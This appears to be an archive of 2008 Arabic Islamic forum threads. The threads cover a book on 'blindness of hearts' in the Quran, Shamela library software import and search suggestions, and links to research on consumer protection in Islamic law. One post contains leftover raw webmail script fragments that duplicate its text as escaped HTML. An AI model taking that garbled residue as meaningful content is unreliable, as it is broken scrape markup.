حملوا كتابي الجديد ((صفات العميان في القرآن الكريم)) للشاملة 3+ ورد مفهرساً+ pdf
ـ[علي 56]ــــــــ[17 - 09 - 08, 04:14 م]ـ
((حقوق الطبع متاحة لجميع الهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله الذي القائل: {أَفَمَنْ يَعْلَمُ أَنَّمَا أُنْزِلَ إِلَيْكَ مِنْ رَبِّكَ الْحَقُّ كَمَنْ هُوَ أَعْمَى إِنَّمَا يَتَذَكَّرُ أُولُو الْأَلْبَابِ (19)} [الرعد/19]
والصلاة والسلام الأتمين على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تعهم بإحسان إلى يوم الدين.
أما بعد:
فقد ذكر الله تعالى في كتابه العزيز العميان، وليس المقصود بهم هنا عميان العينين، بل عميان القلوب والعقول، قال تعالى: {وَلَقَدْ ذَرَأْنَا لِجَهَنَّمَ كَثِيرًا مِنَ الْجِنِّ وَالْإِنْسِ لَهُمْ قُلُوبٌ لَا يَفْقَهُونَ بِهَا وَلَهُمْ أَعْيُنٌ لَا يُبْصِرُونَ بِهَا وَلَهُمْ آَذَانٌ لَا يَسْمَعُونَ بِهَا أُولَئِكَ كَالْأَنْعَامِ بَلْ هُمْ أَضَلُّ أُولَئِكَ هُمُ الْغَافِلُونَ (179)} [الأعراف/179]
ولقد خلقنا للنار -التي يعذِّب الله فيها مَن يستحق العذاب في الآخرة - كثيرًا من الجن والإنس، لهم قلوب لا يعقلون بها، فلا يرجون ثوابًا ولا يخافون عقابًا، ولهم أعين لا ينظرون بها إلى آيات الله وأدلته، ولهم آذان لا يسمعون بها آيات كتاب الله فيتفكروا فيها، هؤلاء كالبهائم التي لا تَفْقَهُ ما يقال لها، ولا تفهم ما تبصره، ولا تعقل بقلوبها الخير والشر فتميز بينهما، بل هم أضل منها; لأن البهائم تبصر منافعها ومضارها وتتبع راعيها، وهم بخلاف ذلك، أولئك هم الغافلون عن الإيمان بالله وطاعته.
وهؤلاء لا يستمعون لدعوة الحق ولا يسمعونها، بل ويحاربونها بكل ما أوتوا من قوة.
وقد قسمته لثلاثة أبواب:
الباب الأول – صفات العميان
وتحته عشرون مبحثاً
الباب الثاني – نتائج العمى
وتحته سبعة مباحث
الباب الثالث- علاج العمى
وتحته تسعة مباحث
هذا وقد قمت بتفسيرها بشكل مختصر، من أمهات كتب التفسير بما يدلُّ على المراد منها، ولم أجعله تفسيرا مطولا.
قال تعالى: {فَمَنِ اتَّبَعَ هُدَايَ فَلَا يَضِلُّ وَلَا يَشْقَى (123) وَمَنْ أَعْرَضَ عَنْ ذِكْرِي فَإِنَّ لَهُ مَعِيشَةً ضَنْكًا وَنَحْشُرُهُ يَوْمَ الْقِيَامَةِ أَعْمَى (124) قَالَ رَبِّ لِمَ حَشَرْتَنِي أَعْمَى وَقَدْ كُنْتُ بَصِيرًا (125) قَالَ كَذَلِكَ أَتَتْكَ آَيَاتُنَا فَنَسِيتَهَا وَكَذَلِكَ الْيَوْمَ تُنْسَى (126)} [طه/123 - 126]
سائلا المولى أن يجعله خالصاً لوجهه الكريم وأن يبعدنا عن العمى وأن يهدينا سواء السبيل، وأن ينفع به كاتبه وقارئه وناقله وناشره في الدارين.
جمع وإعداد
الباحث في القرآن والسنة
علي بن نايف الشحود
في 17 رمضان 1429 هـ الموافق ل 17/ 9/2008 م
ـ[أبو أكرم الحلبي]ــــــــ[17 - 09 - 08, 07:23 م]ـ
سائلا المولى أن يجعله خالصاً لوجهه الكريم وأن يبعدنا عن العمى وأن يهدينا سواء السبيل، وأن ينفع به كاتبه وقارئه وناقله وناشره في الدارين
آمين ...
بارك الله لك في علمك ومالك وزوجك وذريتك
تقبل الله صيامكم
ـ[علي 56]ــــــــ[17 - 09 - 08, 07:37 م]ـ
اللهم اسمع من عبدك أبي أكرم
وأعطه مثل ما دعا لنا يا أرحم الراحمين
وأكرمه في الدارين
ـ[أبو عبد الله السني]ــــــــ[17 - 09 - 08, 08:40 م]ـ
آمين ...
بارك الله لك في علمك __آمين__ ومالك _آمين_ وزوجك _آمين_ وذريتك _آمين_
تقبل الله صيامكم _آمين_
_آمين_
_آمين_
_آمين_
ولنا ولكم وللشيخ علي وأهل الملتقى كلهم أجمعين
اللهم أعتق رقابنا من النار
ـ[علي 56]ــــــــ[19 - 09 - 08, 04:04 م]ـ
اللهم أعتق رقابنا ورقابهم من النار(61/271)
أين نجد كتاب الاستقامة لشيخ الاسلام pdf ?
ـ[أبو عثمان_1]ــــــــ[17 - 09 - 08, 05:47 م]ـ
السلام عليكم ورحمة الله وبركاته
أين نجد كتاب الاستقامة لشيخ الاسلام pdf ?(61/272)
كيف أصنع كتاب للشاملة ,و اضبط صفحاته، و أصنع فهارسه؟
ـ[رمضان الغنام]ــــــــ[17 - 09 - 08, 06:00 م]ـ
السلام عليكم
إخواني الكرام، أحيانا أحصل على كتب وورد موافقة للمطبوع ولكن داخل صفحة الوورد، وعندما أصدرها للشاملة تختلف الصفحات ....
فكيف اصنع كتاب للشاملة ,واضبط صفحاته، وأصنع فهارسه؟
ـ[رمضان الغنام]ــــــــ[19 - 09 - 08, 03:56 م]ـ
لا حول ولا قوة إلا بالله
ألا من مجيب؟؟؟؟؟؟؟؟؟؟!!!!!!!!!!!!!!!!!!!!!!!!!
ـ[أبو عبد الرحمن السبيلي]ــــــــ[20 - 09 - 08, 05:58 ص]ـ
جاري رفع ما لدي بخصوص ذاك الأمر
فانتظر يرعاك الله
ـ[يونس1]ــــــــ[30 - 09 - 08, 06:20 ص]ـ
نحن منتظرون بفارغ الصبر، وكنت طلبت هذا الطلب في قسم الشاملة، ولا مجيب.
ـ[يونس1]ــــــــ[01 - 10 - 08, 12:19 ص]ـ
هل من مجيب يا صانعي ومعاوني الشاملة؟
ـ[أبو أيوب السليمان]ــــــــ[01 - 10 - 08, 05:36 ص]ـ
السلام عليكم
إخواني الكرام، أحيانا أحصل على كتب وورد موافقة للمطبوع ولكن داخل صفحة الوورد، وعندما أصدرها للشاملة تختلف الصفحات ....
فكيف اصنع كتاب للشاملة ,واضبط صفحاته، وأصنع فهارسه؟
وعليكم السلام ورحمة الله وبركاته
* إن كانت نسخة الوورد من الكتاب موافقة بصفحاتها الأصلية للمطبوع، فالترقيم يدخل تلقائيا للشاملة في الإصدار الثالث
* وإن كان الترقيم داخل صفحات الوورد نحو [ص - 5]، فما عليك سوى الدخول إلى (استيراد ملفات) ومن الشريط السفلي تختار (فاصل الصفحات) وتؤشر على (التالية)، وتضع داخل المربع الصغير هكذا (([ص -)) دون عدد، وعند استيراد الملف يكون أول كل صفحة [ص - وما بعدها من الأعداد
وقد يحتاج الأمر إلى زيادة عدد الحروف في كل صفحة من خيارات البرنامج، فتنبه لذلك.
وعند ترتيب الترقيم من خلال تحرير كتاب، تقوم بحذف (([ص -)) من خلال أيقونة (بحث واستبدال في الكتاب كله) في تحرير كتاب.
لعل الأمر واضح إن شاء الله
وللمزيد راجع شرح الشاملة
http://www.shamela.ws/help.php?do=import
و
http://www.shamela.ws/help.php?do=edbk
ـ[رمضان الغنام]ــــــــ[03 - 10 - 08, 03:38 ص]ـ
{جزاك الله خيرا}
ـ[رندا مصطفي]ــــــــ[03 - 10 - 08, 04:59 ص]ـ
سَلَمتْ يداك يا أبا أيوب(61/273)
اقتراحات للشامة من أخ ليس لديه اشتراك على الملتقى
ـ[الطيماوي]ــــــــ[17 - 09 - 08, 06:21 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وكفى، وسلامٌ على عباده الذين اصطفى
الشيخ الفاضل الطيماوي -حفظه الله-
السلام عليكم ورحمة الله وبركاته
أما بعد:
فجزاكم الله خيراً على هذه الجهود المباركة. أسأل الله أن يجعلها في موازينكم.
وبما أني غير مسجّل في الملتقى، أودّ طرح اقتراحاتي هنا مع ما كنت كتبته للأستاذ نافع، وأرجو من فضيلتكم أن توصلوا مضمون هذا الكتاب إلى ملتقى أهل الحديث، بأي أسلوب ترونه مناسباً؛ وأجركم على الله الذي لا يضيع أجر المحسنين.
1 - زر "إخفاء التشكيل" لا يعمل عندي في الإصدار 3.11، وقد كان يعمل قبل ذلك.
2 - أقترح أن تكون النسخ المعتمدة في "الشاملة" هي النسخ الموافقة للمطبوعة، ويكون باقي النسخ غير الموافقة في الملحق؛ لأن موافقة الطبعات مهمة جدّا عند الباحث، فيقدّم ذلك للأهمية؛ ومن أراد التعليقات والفوائد رجع إلى الملحق للاستفادة من الطبعات المختلفة.
3 - استخدام ميزة "تجاهل الهمزات والحركات" بشكل أوسع، بحيث يمكن تجاهل النقاط، وهذا مهمّ جدّاً.
على سبيل المثال: عند البحث عن "محمد بن خزر"، بتقديم الزاي، لن تجده إذا كان قد كتب "محمد بن خرز" بتقديم الراء؛ وكلمة "جحر" بتقديم الجيم، قد تتحرّف إلى "حجر"، بتقديم الحاء؛ وكذا "قفر"، بتقديم القاف، إلى "فقر"، بتقديم الفاء؛ وكذا "الخشني"، بالمعجمة، قد تتحرف إلى "الحسني"، بالمهملة ...... وقس على ذلك ...
علماً بأن هذه الميزة أسرع وأحسن من ميزة "أو"، لأنك أحيانا قد لا يخطر على بالك أن الكلمة قد تحرفت إلى هذا الحد؛ مع أن تجاهل النقاط فيه اقتصاد كبير في الوقت.
لو أتيتم بذلك يا أستاذنا، لقضيتم –بإذن الله- على كم هائل من مشاكل الباحثين ...
المشكلة أن عندي تصوّر المسألة، ولكني ضعيف في البرمجة، بل لست من المبرمجين أصلاً، وإنما قرأت شيئا قليلاً جدّاً، من كتب البرمجة، وهذه أمثلة –من تصوّري- لتقريب المسألة (فإن يكن صوابا فمن توفيق الله، وإن يك غير ذلك، فمن قلة علمي): وله طريقتان:
الأولى: طريقة الحروف
ف=ق
ق=ف
إذا طُلب "ف"، أو "ق"، فأت ب "ف" و "ق".
ج=ح، خ؛
ح=ج، خ؛
< SCRIPT><!--D(["mb","\n خ\ u003d ج، ح؛\ u003cbr /\u003e\n إذا طُلب \ u0026quot; ج\ u0026quot; أو \ u0026quot; ح\ u0026quot; أو \ u0026quot; خ\ u0026quot;، فأت ب \ u0026quot; ج\ u0026quot;، \u0026quot; ح\ u0026quot;، \u0026quot; خ\ u0026quot;.\u003cbr /\u003e\n وقس على ذلك جميع الحروف المعجمة ... \ u003cbr /\u003e\n\u0026nbsp; الثانية: طريقة الكلمات:\ u003cbr /\u003e\n فقر\ u003d قفر، قفز (وكل ما يحتمله صورة الكلمة لغويا) \ u003cbr /\u003e\n قفر\ u003d قفز، فقر (وكل ما يحتمله صورة الكلمة لغويا) \ u003cbr /\u003e\n صخر\ u003d ضجر (وكل ما يحتمله صورة الكلمة لغويا) \ u003cbr /\u003e\n بذر\ u003d بدر، نذر (وكل ما يحتمله صورة الكلمة لغويا) \ u003cbr /\u003e\n4- \u0026nbsp; \u0026nbsp; \u0026nbsp; لاحظت أن الشاملة تفرق بين \ u0026quot; قال\ u0026quot; وبين \ u0026quot; وقال\ u0026quot;، وبين \ u0026quot; السلام\ u0026quot; وبين \ u0026quot; سلام\ u0026quot;؛ وإذا طلبت أحدهما لا يأتي بالآخر، مع أن المفروض أن يأتي بالأكثر إذا طلب الأقل.\ u003cbr /\u003e\n فلو استطعتم أن تضيفوا ميزة بها يمكن اعتبار الحرف المكتوب فقط، كما في \ u0026quot; وورد\ u0026quot;؛ فبرنامج \ u0026quot; وورد\ u0026quot; يبحث فقط عن الحروف بغض النظر عن تركيب الكلمة، إلا أن في \ u0026quot; وورد\ u0026quot; عيبا، وهو أنه يحسب كل شيء حتى المسافة الفارغة، إلا أن تغيّر في الإعدادات، والشاملة لا تحسب إلا الحروف، وتتجاهل عن الحركات؛ وهذه ميزة مفيدة جدّا في \ u0026quot; الشاملة\ u0026quot;، فلو جمعتم بين الميزتين (تجاهل المسافات والحركات، مع اعتبار الحروف المكتوبة فقط) لكان خيراً كبيراً.\ u003cbr /\u003e\n5- \u0026nbsp; \u0026nbsp; \u0026nbsp; هل من خيار في الشاملة لتغيير ما يلي –أثناء اللصق-:\ u003cbr /\u003e\n تقريب التهذيب - (ج 1 / ص 371)، إلى \ u0026quot; التقريب\ u0026quot;، \u0026nbsp; لابن حجر، (1/ 371)، أو: \ u0026quot; التقريب\ u0026quot;، \u0026nbsp;(1/371).\u003cbr /\u003e\n الخلاصة: هي حذف [ج،
(يُتْبَع .. اقلب الصفحة)
(61/274)
و ص]، مع حذف المسافة بين الأرقام والأقواس.\ u003cbr /\u003e\n فإن لم يوجد إلى ذلك سبيل في الشاملة، فأرجوا أن تعينوني بما يسهّل لي ذلكم بإذن الله، وجزاكم الله خيراً.\ u003cbr /\u003e\n6- \u0026nbsp; \u0026nbsp; \u0026nbsp; هل من سبيل إلى تغيير أسماء الكتب عند اللصق في المستند فقط، مع بقاء أسمائها الحقيقية في الواقع لئلا يجعل الكتاب الواحد كتابين، مثل: \ u0026quot; الكاشف\ u0026quot; للذهبي، فهو مكرّر في نسخة 6250 باسم: \ u0026quot; من له رواية في الكتب الستة\ u0026quot;، وهو عين النسخة السابقة تماماً، وأريد أن يكون اسمه في البحث هكذا: \ u0026quot; الكاشف\ u0026quot;، (1/120)، ولايتغيّر اسمه الحقيقي، بحيث يكشف البرنامج اسمه الحقيقي، فلا يحمله مرّتين؛ بحيث يكون التغير عند اللصق في المستند فقط.\ u003cbr /\u003e\n7- \u0026nbsp; \u0026nbsp; \u0026nbsp; تكرت نسح بعض الكتب بأسماء مختلفة، وبعضها بنفسه الطبعة في [6688]، مثل:\ u003cbr /\u003e\n شذرات الذهب، مكرّر بنفس الاسم، إلا أن أحدهما عشرة أجزاء، والآخر سبعة أجزاء، ولكن الترقيم –فيما وقفت عليه- واحد، الكاشف، تكرر باسم: من له رواية في الكتب الستة، ثقات ابن حبان [موافق] غير مرقم، هو نفس \ u0026quot; الثقات لابن حبان\ u0026quot; المرقّم، ولكن ليس مكتوباً عليه أنه موافق. ولكن الصفحات متفقة تماماً. وكذا \ u0026quot; الكامل\ u0026quot; لابن عدي النسختان متفقتان في الترقيم إلا أن التي مكتوب عليها [موافق] تتقدّم مقدار ثلث صفحة أحياناً، وهو غير مرقّم، والتي لم يكتب عليها [موافق] هي مرقّمة، وهذه ميزة مفيدة، لأن بالرقم تسهل معرفة بداية الترجمة، لسهولة الوقوف على كلام ابن عدي في آخر الترجمة، وكذا في \ u0026quot; الثقات\ u0026quot;، إذاً فيمكن إبقاء كلتا النسخين للأهمية، أو الاكتفاء بالمرقّم في \ u0026quot; الثقات\ u0026quot; لموافقتها تماما.\ u003cbr /\u003e",1]);//--></SCRIPT> خ=ج، ح؛
إذا طُلب "ج" أو "ح" أو "خ"، فأت ب "ج"، "ح"، "خ".
وقس على ذلك جميع الحروف المعجمة ...
الثانية: طريقة الكلمات:
فقر=قفر، قفز (وكل ما يحتمله صورة الكلمة لغويا)
قفر=قفز، فقر (وكل ما يحتمله صورة الكلمة لغويا)
صخر=ضجر (وكل ما يحتمله صورة الكلمة لغويا)
بذر=بدر، نذر (وكل ما يحتمله صورة الكلمة لغويا)
4 - لاحظت أن الشاملة تفرق بين "قال" وبين "وقال"، وبين "السلام" وبين "سلام"؛ وإذا طلبت أحدهما لا يأتي بالآخر، مع أن المفروض أن يأتي بالأكثر إذا طلب الأقل.
فلو استطعتم أن تضيفوا ميزة بها يمكن اعتبار الحرف المكتوب فقط، كما في "وورد"؛ فبرنامج "وورد" يبحث فقط عن الحروف بغض النظر عن تركيب الكلمة، إلا أن في "وورد" عيبا، وهو أنه يحسب كل شيء حتى المسافة الفارغة، إلا أن تغيّر في الإعدادات، والشاملة لا تحسب إلا الحروف، وتتجاهل عن الحركات؛ وهذه ميزة مفيدة جدّا في "الشاملة"، فلو جمعتم بين الميزتين (تجاهل المسافات والحركات، مع اعتبار الحروف المكتوبة فقط) لكان خيراً كبيراً.
5 - هل من خيار في الشاملة لتغيير ما يلي –أثناء اللصق-:
تقريب التهذيب - (ج 1 / ص 371)، إلى "التقريب"، لابن حجر، (1/ 371)، أو: "التقريب"، (1/ 371).
الخلاصة: هي حذف [ج، و ص]، مع حذف المسافة بين الأرقام والأقواس.
فإن لم يوجد إلى ذلك سبيل في الشاملة، فأرجوا أن تعينوني بما يسهّل لي ذلكم بإذن الله، وجزاكم الله خيراً.
6 - هل من سبيل إلى تغيير أسماء الكتب عند اللصق في المستند فقط، مع بقاء أسمائها الحقيقية في الواقع لئلا يجعل الكتاب الواحد كتابين، مثل: "الكاشف" للذهبي، فهو مكرّر في نسخة 6250 باسم: "من له رواية في الكتب الستة"، وهو عين النسخة السابقة تماماً، وأريد أن يكون اسمه في البحث هكذا: "الكاشف"، (1/ 120)، ولايتغيّر اسمه الحقيقي، بحيث يكشف البرنامج اسمه الحقيقي، فلا يحمله مرّتين؛ بحيث يكون التغير عند اللصق في المستند فقط.
7 - تكرت نسح بعض الكتب بأسماء مختلفة، وبعضها بنفسه الطبعة في [6688]، مثل:
(يُتْبَع .. اقلب الصفحة)
(61/275)
شذرات الذهب، مكرّر بنفس الاسم، إلا أن أحدهما عشرة أجزاء، والآخر سبعة أجزاء، ولكن الترقيم –فيما وقفت عليه- واحد، الكاشف، تكرر باسم: من له رواية في الكتب الستة، ثقات ابن حبان [موافق] غير مرقم، هو نفس "الثقات لابن حبان" المرقّم، ولكن ليس مكتوباً عليه أنه موافق. ولكن الصفحات متفقة تماماً. وكذا "الكامل" لابن عدي النسختان متفقتان في الترقيم إلا أن التي مكتوب عليها [موافق] تتقدّم مقدار ثلث صفحة أحياناً، وهو غير مرقّم، والتي لم يكتب عليها [موافق] هي مرقّمة، وهذه ميزة مفيدة، لأن بالرقم تسهل معرفة بداية الترجمة، لسهولة الوقوف على كلام ابن عدي في آخر الترجمة، وكذا في "الثقات"، إذاً فيمكن إبقاء كلتا النسخين للأهمية، أو الاكتفاء بالمرقّم في "الثقات" لموافقتها تماما.
< SCRIPT><!--D(["mb","\n هذا ما يحضرني الآن ... \ u003cbr /\u003e\n8- \u0026nbsp; \u0026nbsp; \u0026nbsp; إمكانية نسخ النتائج المحفوظة إلى \ u0026quot; وورد\ u0026quot; أو نحوه من برامج التحرير، ولهذا فوائد.\ u003cbr /\u003e\n على سبيل المثال: أدخلت \ u0026quot; زهر الفردوس\ u0026quot; لابن حجر، -الذي أشارك في تحقيقه-، في الشاملة، وقمت بجمع شيوخ الديلمي بطريقة سريعة جدّا، هي أني كتبت في مربّع البحث \ u0026quot; أو\ u0026quot;: ( قال أخبرنا أبي) \ u0026nbsp; \u0026nbsp;( وقال أخبرنا أبي)، فجاء بجميع المواضع؛ وقصدي من ذلك أن أنسخ الاسم الذي يكون بعد الجملة المذكورة، وكان الأمر أحسن لو كان هناك خيار لنسخ النتائج إلى برنامج التحرير.\ u003cbr /\u003e\n ومع هذا، فليس هذا بعيب، وإنما هو من باب الاستزادة من فضل الله. وإلا فإن الشاملة أرى أن لا منافس لها، ولم أر مثلها –رغم قلة معرفتي-، فهي أفضل ما رأته عيني من الموسوعات الإسلامية، وللطلاب إليها إقبال شديد، وكذا المشايخ.\ u003cbr /\u003e\n أسأل الله أن يجعلها لكم حجاباً من النار، ويرفع بها درجاتكم في الدنيا والآخرة، وكل من شارك في خدمتها، وأن يلحقنا بكم؛ إنه على كل شيء قدير.\ u003cbr /\u003e\n ما رأيكم فيما فعلت بالشاملة الموجود نموذجها على الرابط الآتي:\ u003cbr /\u003e\n\u003cbr /\u003e\n\u003ca onclick\u003d\"return top.js.OpenExtLink(window,event,this)\" href\u003d\"http://rapidshare.com/files/142871862/__1606___1605___1608___1584___1580____1575___1604_ __1588___1575___1605___1604___1577_.rar.html\" target\u003d_blank\u003ehttp://rapidshare.com/files/\u003cwbr /\u003e142871862/__1606___1605___\u003cwbr /\u003e1608___1584___1580____1575___\u003cwbr /\u003e1604___1588___1575___1605___\u003cwbr /\u003e1604___1577_.rar.html\u003c/a\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n وعلى هذا الرابط:\ u003cbr /\u003e\n\u003cbr /\u003e\n\u003ca onclick\u003d\"return top.js.OpenExtLink(window,event,this)\" href\u003d\"http://rapidshare.com/files/145765761/__1606___1605___1608___1584___1580____1575___1604_ __1588___1575___1605___1604___1577_.rar.html\" target\u003d_blank\u003ehttp://rapidshare.com/files/\u003cwbr /\u003e145765761/__1606___1605___\u003cwbr /\u003e1608___1584___1580____1575___\u003cwbr /\u003e1604___1588___1575___1605___\u003cwbr /\u003e1604___1577_.rar.html\u003c/a\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n أرجو أن تفيدوني فيها، وجزاكم الله خيراً.\ u003cbr /\u003e\n",1]);//--></SCRIPT> هذا ما يحضرني الآن ...
8 - إمكانية نسخ النتائج المحفوظة إلى "وورد" أو نحوه من برامج التحرير، ولهذا فوائد.
على سبيل المثال: أدخلت "زهر الفردوس" لابن حجر، -الذي أشارك في تحقيقه-، في الشاملة، وقمت بجمع شيوخ الديلمي بطريقة سريعة جدّا، هي أني كتبت في مربّع البحث "أو": (قال أخبرنا أبي) (وقال أخبرنا أبي)، فجاء بجميع المواضع؛ وقصدي من ذلك أن أنسخ الاسم الذي يكون بعد الجملة المذكورة، وكان الأمر أحسن لو كان هناك خيار لنسخ النتائج إلى برنامج التحرير.
ومع هذا، فليس هذا بعيب، وإنما هو من باب الاستزادة من فضل الله. وإلا فإن الشاملة أرى أن لا منافس لها، ولم أر مثلها –رغم قلة معرفتي-، فهي أفضل ما رأته عيني من الموسوعات الإسلامية، وللطلاب إليها إقبال شديد، وكذا المشايخ.
أسأل الله أن يجعلها لكم حجاباً من النار، ويرفع بها درجاتكم في الدنيا والآخرة، وكل من شارك في خدمتها، وأن يلحقنا بكم؛ إنه على كل شيء قدير.
ما رأيكم فيما فعلت بالشاملة الموجود نموذجها على الرابط الآتي:(61/276)
المطلوب رسائل علمية أو أبحاث حول فقه الإستهلاك في الشريعة أو الإقتصاد الإسلامي
ـ[عالية الهمة]ــــــــ[17 - 09 - 08, 08:42 م]ـ
السلام عليكم طلبة العلم وفقكم الله و سسد خطاكم و نفع بكم الأمة. أنا أختكم من المغرب الأقصى سجلت موضوع الدكتوراه حول الإستهلاك في الفقه الإسلامي.و لقلة المصادر في بلدي أرجو من الإخوة الأفاضل مساعدتي للحصول علر رسائل علمية أو كتب مصورة تتعلق بلإستلاك و الإحماية المستهلاك و سلوكه.
واالله في عون العبد ماكان العبد في عون أخيه
ـ[إسماعيل سعد]ــــــــ[18 - 09 - 08, 02:30 ص]ـ
وفقكم الله ويسر لكم
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 04:43 م]ـ
1 ـ عنوان البحث: حماية المستهلك في الفقه الإسلامي
مؤلف البحث: عبد الستار الهيتي
معلومات النشر:
اسم المجلة: مجلة مؤتة للبحوث والدراسات. نوع المجلة: علمية محكمة. رقم الإصدار: المجلد التاسع عشر - العدد السادس 2004. رقم الصفحة:. الدولة: المملكة الأردنية الهاشمية
تحميل مباشر من الرابط التالي:
http://www.arablawinfo.com/Researches_AR/396.pdf
وطالعي الصفحة التالية: من هنا ( http://www.arablawinfo.com/Research_Search.asp?search=true&title=%C7%E1%E3%D3%CA%E5%E1%DF&AuthorName=&pub=0&country=0&validate=dosearch&z.x=41&z.y=8)
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 05:15 م]ـ
2 ـ آليات حماية المستهلك في الاقتصاد الإسلامي
مذكرة مقدمة لنيل درجة الماجستير في الاقتصاد الإسلامي
إعداد الطالبة: نجاح ميدني
إشراف الأستاذ الدكتور: سعيد فكرة
جامعة الحاج لخضر- باتنة (الجزائر)
كلية العلوم الاجتماعية والعلوم الإسلامية ـ قسم الشريعة
التحميل مباشر من الروابط التالية:
http://www.univ-batna.dz/theses/fac-so-is/midni/these.PDF
أو
http://ia311206.us.archive.org/3/items/hima-most/hima-most.pdf
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 05:19 م]ـ
3 ـ مشروع إسلامي لحماية المستهلك
http://www.islamonline.net/Arabic/economics/2005/04/article02.shtml
4 ـ فتاوى لحماية المستهلك
http://www.islamonline.net/Arabic/economics/2005/04/article09.shtml
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 05:31 م]ـ
5 ـ حماية المستهلكين في اقتصاد السوق
د. شريف لطفي
تحميل مباشر:
http://al-mostafa.info/data/arabic/depot2/gap.php?file=011462.pdf
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 05:38 م]ـ
6 ـ مفهوم السوق في الفقه الإسلامي
www.ahlalhdeeth.com/vb/attachment.php?attachmentid=14973
ـ[خلدون الجزائري]ــــــــ[18 - 09 - 08, 05:43 م]ـ
7 ـ أبحاث: التسعير ـ الاحتكار ـ الحسبة في السوق ...
أحاديث: النهي عن بيع حاضر لباد ـ النهي عن تلقي الركبان ـ النهي عن الغرر ـ النهي عن الغش ـ النهي عن الغبن ... وغيرها
وهي كثيرة كلها لها صلة بالموضوع
من الكتب المطبوعة التي أملكها:
حماية المستهلك، د. رمضان الشرنباصي (جامعة الإسكندرية)
والموضوع في رأيي لا يزال يحتاج إلى إثراء وتأصيل وتنظير، وتوظيف لأصول الشريعة ومقاصدها
فمثلا فقه الحاجيات له صلة كبيرة بالموضوع، ولم أجد من ربطه به، وعند المالكية قاعدة مهمة وذهبية وهي: "جواز الأمر الكلي الحاجي"؛ وهي في صلب حماية المستهلكين إذا عمتهم المشقة والحرج
ـ[عالية الهمة]ــــــــ[18 - 09 - 08, 06:20 م]ـ
بارك الله فيكم و وفقكم لما يحب و يرضى .. الحمد لله موضوعي سيعالج النظرية عموما جانب الحماية و الضوابط و السلوك و الأحكام الشرعية مع مراعاة المقاصد.
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 06:52 م]ـ
هذه رسالة علمية بعنوان الاستهلاك في الإسلام رفعتها على هذا الرابط
http://www.mediafire.com/file/m4fm9j7tjvr/isthlak.rar
ـ[خلدون الجزائري]ــــــــ[20 - 09 - 08, 01:55 ص]ـ
9 ـ نحو مشروع حضارى إسلامى
لحماية المستهلك
? الحاجة إلى حماية حقوق الإنسان الاقتصادية ?
إعداد
دكتور / حسين حسين شحاتة
الأستاذ بجامعة الأزهر
الخبير الاستشارى فى المعاملات الإسلامية
W استهلال.
(يُتْبَع .. اقلب الصفحة)
(61/277)
الإسلام دين شامل ومنهج حياة، وهو عقيدة وشريعة، عبادات ومعاملات، يوازن بين متطلبات الروح من العبادات، ومتطلبات الجسد من الماديات، يربط الحياة الدنيا بالآخرة، ولقد تضمنت شريعته المبادئ والأحكام التى تنظم حياة المسلم جميعها، سواء أكان منتجاً أو مستهلكاً، وسواء أكان عاملاً أو صاحب عمل، وأنه من الخطأ ما يشاع جهلاً أو تجاهلاً أنه لا علاقة للإسلام بالاقتصاد أو بالحكم أو بالسياسة أو بنواحى الحياة، بل تمكن هذا الدين من إقامة حضارة عظيمة من دعائمها نظام اقتصادى متميز يعتمد على السوق الحرة النظيفة الخالية من المحرمات والخبائث ويحقق التنمية الشاملة للإنسان ليعمر الأرض ويعبد الله عز وجل بصدق وإخلاص.
كما تمكن رجل الأعمال المسلم من أن ينشر الإسلام فى كثير من دول شرق آسيا وأفريقيا، ليس عن طريق الخطابة أو الجهاد، بل نشرة بالقيم الإيمانية وبالأخلاق الكريمة وبالسلوك الطيب وكذلك بقواعد ومبادئ المعاملات التجارية، فلما وجد غير المسلمين من المنتجون والمستهلكين من التاجر المسلم كريم الخلق مثل الأمانة والصدق والقناعة وحسن الأداء والمعاملة، دخلوا فى دين الله أفواجا، ولقد وضع فقهاء الإسلام دستوراً يقوم على حماية المستهلك وتحقيق الخير للفرد والمجتمع، كما وضعوا نظماً لذلك منها نظام الحسبة وجماعة الأمر بالمعروف والنهى عن المنكر وهذا ما سوف نتناوله فى هذه المقالة.
W الشريعة الإسلامية تحمى المستهلك من نفسه ومن المنتج ومن التاجر ومن السلطان.
لقد تضمنت الشريعة الإسلامية الغراء مجموعة من القواعد والمبادئ والضوابط التى لو طبقت تطبيقاً شاملاً حققت الخير للمنتج وللمستهلك، وللفرد والمجتمع، ويضيق المقام والمقال لتناولها تفصيلاُ، ولكن نعطى منها بعض النماذج العملية.
أولاً: الشريعة تحمى المستهلك من نفسه: يتسم المستهلك المسلم الصالح الورع الملتزم بشرع الله، بسلوك سوى عند اختيار ما يشتريه، ومن الضوابط الشرعية فى هذا المقام يلتزم بقاعدة الأولويات حيث يبدأ بالإنفاق على الضروريات ثم الحاجيات ثم الكماليات، ولا يسرف ولا يبذر عندا الشراء ولا يقلد الغير تقليد أعمى، كما أنه يتجنب شراء المحرمات والخبائث، ملتزماً بقول الله عز وجل: ? وَيُحِلُّ لَهُمُ الطَّيِّبَاتِ وَيُحَرِّمُ عَلَيْهِمُ الخَبَائِثَ? [الأعراف آية: (157)]، وقوله تبارك وتعالى: ? وَكُلُوا وَاشْرَبُوا وَلاَ تُسْرِفُوا إِنَّهُ لاَ يُحِبُّ المُسْرِفِينَ ? [الأعراف آية: (31)]، وقول الرسول صلى الله عله وسلم: " كل ما شئت وأشرب ما شئت دون إسراف أو مخيلة "، ولا يمكن أن يوجد هذا المستهلك المنضبط بشرع الله إلاّ عن طريق التنشئة الصالحة تربية وتعليماً على المنهج الإسلامى، فنحن فى حاجة إلى تربية أولادنا وتعليمهم على تجنب الحرام والإسراف والتبذير والترف والبذخ فطفل اليوم هو مستهلك الغد، وطفلة اليوم هى ربة البيت فى المستقبل نحن فى حاجة إلى منهج تربوى اقتصادى إسلامى.
